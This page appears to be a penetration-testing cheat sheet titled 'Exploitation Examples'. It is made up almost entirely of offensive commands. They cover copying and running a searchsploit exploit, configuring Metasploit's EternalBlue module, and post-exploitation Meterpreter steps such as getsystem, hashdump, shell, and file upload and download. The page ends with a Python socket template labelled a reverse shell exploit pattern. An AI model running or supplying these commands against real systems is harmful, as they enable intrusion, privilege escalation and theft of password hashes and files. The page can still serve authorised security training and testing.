OPSECTLAS you are here: Network
Network

Exploitation Examples

reference 24 commands 1 tool

  1. Recon
  2. Enumerate
  3. Foothold
  4. PrivEsc
  5. Lateral
  6. Post-Ex

reached from External access only

toolsmetasploit
Python Exploit (Manual)

Copy and modify

searchsploit -m 50383
cat 50383.py        # Read it. Understand every argument.
python3 50383.py    # Check usage
python3 50383.py <TARGET-IP> <PORT> /bin/bash
Metasploit Framework
msfconsole -q

Find the module

search <service>
search type:exploit platform:windows smb
search cve:2021-34527

Use and configure

use exploit/windows/smb/ms17_010_eternalblue
info               # Read description, targets, options
show options
set RHOSTS <TARGET-IP>
set LHOST <YOUR-IP>
set LPORT 4444

Verify before running

check

Run

run

If successful · useful Meterpreter commands

sysinfo
getuid
getsystem        # PrivEsc attempt
hashdump         # Dump password hashes
shell            # Drop to system shell
upload /kali/file.exe C:\\Windows\\Temp\\
download C:\\Users\\Administrator\\Desktop\\proof.txt
run post/multi/recon/local_exploit_suggester
Manual Python Reverse Shell Exploit Pattern
import socket

TARGET = "<TARGET-IP>"
PORT = <TARGET-PORT>
PAYLOAD = b"<EXPLOIT-BYTES>"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(PAYLOAD)
print(s.recv(1024).decode())
s.close()
connected